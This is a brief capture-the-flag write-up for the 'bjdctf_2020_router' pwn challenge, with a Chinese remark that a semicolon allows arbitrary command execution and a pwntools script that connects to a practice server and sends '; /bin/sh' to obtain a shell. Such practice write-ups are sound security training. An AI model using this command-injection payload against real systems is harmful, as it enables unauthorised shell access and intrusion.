bjdctf_2020_router
查看保护
任意命令执行,用;号可以直接运行第二条命令。
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './z1r0'
debug = 1
if debug:
r = remote('node4.buuoj.cn', 25996)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
p1 = b'; /bin/sh'
r.recvuntil('Please input u choose:')
r.sendline('1')
r.sendline(p1)
r.interactive()